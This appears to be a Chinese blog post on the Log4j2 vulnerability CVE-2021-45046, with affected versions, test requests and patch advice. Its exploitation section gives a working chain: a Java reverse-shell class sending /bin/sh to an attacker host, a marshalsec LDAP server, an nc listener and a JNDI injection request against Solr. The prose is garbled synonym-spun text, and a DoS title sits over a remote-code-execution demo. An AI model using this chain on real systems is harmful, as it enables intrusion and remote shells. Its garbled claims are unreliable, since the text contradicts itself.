Apache Log4j2 拒绝服务漏洞CVE-2021-45046

破绽描绘

Apache Log4j2 是一个基于 Java 的日志记载工具。该工具重写了 Log4j 框架,并且引入了大量丰厚的特性。我们能够控制日志信息保送的目的地为控制台、文件、GUI 组件等,经过定义每一条日志信息的级别,可以愈加细致 地控制日志的生成过程。该日志框架被大量用于业务系统 开发,用来记载日志信息 每一条日志信息的级别,可以愈加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记载日志信息。

20211216日,Apache Log4j2 组件存在回绝效劳破绽的信息。破绽编号:CVE-2021-45046,破绽要挟等级:低危,破绽评分:3.7

Apache Log4j 2.15.0 中针对 CVE-2021-44228 的修复在某些非默许配置中不完好。当日志配置运用非默许形式规划和上下文查找(例如,$${ctx:loginId})或线程上下文映射形式( %X%mdc %MDC)时,运用 JNDI 查找形式制造歹意输入数据,从而招致回绝效劳 (DOS) 攻击。
 


 

影响版本

2.0-beta9 <=Apache Log4j <=2.12.1
2.13.0<=Apache Log4j <=2.15.0
 


 

破绽复现

恳求GET

curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiversion}' Hello, world!%
${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m{nolookups}%n

POST恳求

curl --location --request POST 'http://127.0.0.1:8080/addrecord' 
--header 'Content-Type: application/json'
--data '{
"clientRef": "${ctx:clientRef}"
}'

留意显现无限循环的输出,但是在测试中没有发现这个 DOS 是资源耗费,由于这个无限循环被程序和错误辨认出来:

${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)

应用

参考fastjson破绽应用,应用歹意ldap效劳器停止jndi注入,加载远程歹意类,形成恣意代码执行

歹意类
这里先写一个歹意类 Exploit.java,并编译为class文件

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
  public Exploit() throws Exception {
    String host="x.x.x.x";  //修正为反弹效劳器
    int port=x;  // 修正为反连端口
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();
  }
}

直接运用python启动效劳

python -m SimpleHTTPServer 80  //xxxweb端口

启动歹意ldap效劳器
之前复现fastjson的直接拿过来用

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxxldap端口

nc 监听反连端口

nc -lvvp x //x 为歹意类指定的反连端口

触发破绽
发送恳求

GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1
Host: 192.168.64.128:8983
X-Requested-With: XMLHttpRequest
Referer: http://192.168.64.128:8983/solr/
Cookie: JSESSIONID=066F1A7579CF0FC0C94C097160C692F6
Connection: close

查看ldap效劳器响应
图片[1]-Apache Log4j2 拒绝服务漏洞CVE-2021-45046-孤勇者社区

查看web效劳响应

图片[2]-Apache Log4j2 拒绝服务漏洞CVE-2021-45046-孤勇者社区

查看nc监听,能够看到拿到shell

图片[3]-Apache Log4j2 拒绝服务漏洞CVE-2021-45046-孤勇者社区
 


 

修复倡议

暂时修复倡议

Log4j 1.x 缓解:Log4j 1.x 不受此破绽影响。
Log4j 2.x 缓解:施行以下缓解技术。
从类途径中删除 JndiLookup 类文件:
zip -q-dlog4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
请留意,只要 log4j-core JAR 文件受此破绽影响。仅运用 log4j-api JAR 文件而不运用 log4j-core JAR 文件的应用程序不受此破绽的影响。
 

官方修复倡议

官方已发布平安版本,请及时下载更新,下载地址:
https://github.com/apache/logging-log4j2/tags

注:Java8 的用户需求晋级到 Apache Log4j 2.16.0版本。Java 7 的用户需求晋级到Apache Log4j 2.12.2版本

关于java8版本用户,晋级到版本 2.16.0

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0

关于java7版本用户,晋级到最新版本 2.12.2

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.12.2

https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.12.2

与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

 

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片